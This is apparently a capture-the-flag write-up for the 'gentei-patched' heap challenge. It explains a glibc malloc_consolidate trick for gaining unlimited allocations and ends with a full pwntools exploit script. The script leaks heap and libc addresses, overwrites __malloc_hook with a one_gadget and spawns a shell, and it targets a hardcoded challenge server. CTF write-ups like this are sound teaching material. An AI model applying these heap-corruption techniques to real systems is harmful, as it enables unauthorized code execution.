Gentei Patched Writeup
Overview
You should first check out the gentei post as this is a sequel to it.
The difference between this and the old one is that here we can only allocate 2 chunks, also we could place a fake chunk size right before the number of remaining chunks.
Pain
At the beginning I fell into a rabbit hole with unlink attack. I managed to get to a point in which I had main_arena in the chunk array and could write into the fastbin pointers. But with no chunk allocations left there was nothing I could do even if I could control the fastbin.
A new road
Not knowing what to do I started reading the libc malloc source code, you can see it here
My idea was to somehow fake right before the number of remaining chunks and then call malloc_consolidate
to place unsorted bin pointers right on that value to gain infinite chunks.
This was only possible by using size 1 as otherwise we would run into the unlink operations and there was no possible way to setup fake pointers at or near the fake chunks address so execution would get terminated.
I was triggering malloc_consolidate
using _int_malloc
by forcing scanf to create a very large chunk by giving it a lot of data.
My problem was that _int_malloc
had this check which did not let me place a fake chunk size less than 2 * SIZE_SZ
which was approximately 0x10, so the idea kinda went out the window or so I thought.
A saving grace
Stepping back I realised the malloc_consolidate
from _int_free
luckily did not have this check after it, but how to trigger it?
We needed meet if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
, FASTBIN_CONSOLIDATION_THRESHOLD
being 0x10000
but how do this as we didnt have any large allocations?
Reading more source code we can see that at lines 4020 - 4022
in libc it actually combines the consolidated chunks’ sizes
So if we free a chunk that borders the top chunk we could in theory trigger the consolidation, and in testing I realised it worked.
Now that we had infinite chunks I just used the technique in the normal gentei to get RCE and called it a day.
Exploit script
from pwn import *
elf = context.binary = ELF("gentei-patched")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again
context.log_level = 'debug'
host, port = '34.107.108.126', 32132
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
def create(index, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Guess: ", data)
def delete(index):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Index: ", str(index).encode())
def show(index):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Index: ", str(index).encode())
return p.recv(6)
def edit(index,data):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"guess: ", data)
def guess(guesses):
p.sendlineafter(b"> ", b"5")
p.sendlineafter(b"Number of guesses: ", str(guesses).encode())
consolidate_scanf = b'1' * 0x500
location_of_unsorted_bin_ptr = 0x602138
p = newp()
create(0,b'\x89')
create(1,b'A')
guess(0x1)
delete(1)
delete(0)
### HEAP LEAK ###
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Index: ", b'0')
heap_leak = p.recvuntil(b'> ')[:-2]
heap_leak = u64(heap_leak.ljust(8,b'\x00'))
print(f'Leak: {hex(heap_leak)}')
heap_base = heap_leak - 0x20
print(f'heap_base: {hex(heap_base)}')
p.sendline(b'4')
p.sendlineafter(b"Index: ", b'0')
p.sendlineafter(b"guess: ", p64(0x6020e0))
delete(3)
#gdb.attach(p)
create(8,b'A')
delete(0)
edit(0, p64(0x602123))
create(6, b'A')
create(7, b'A')
GOT_addr = 0x602028
edit(7,b'B'*5 + p64(GOT_addr))
leak = show(3)
print(leak)
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - 429424
print(f'libc_base: {hex(libc_base)}')
one_gadget = libc_base + 0xd6fb1
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(7, b'B'*5 + p64(malloc_hook))
edit(3, p64(one_gadget))
## Trigger malloc to get shell
p.sendlineafter("> ", "1")
p.sendlineafter("Index: ", "5")
p.interactive()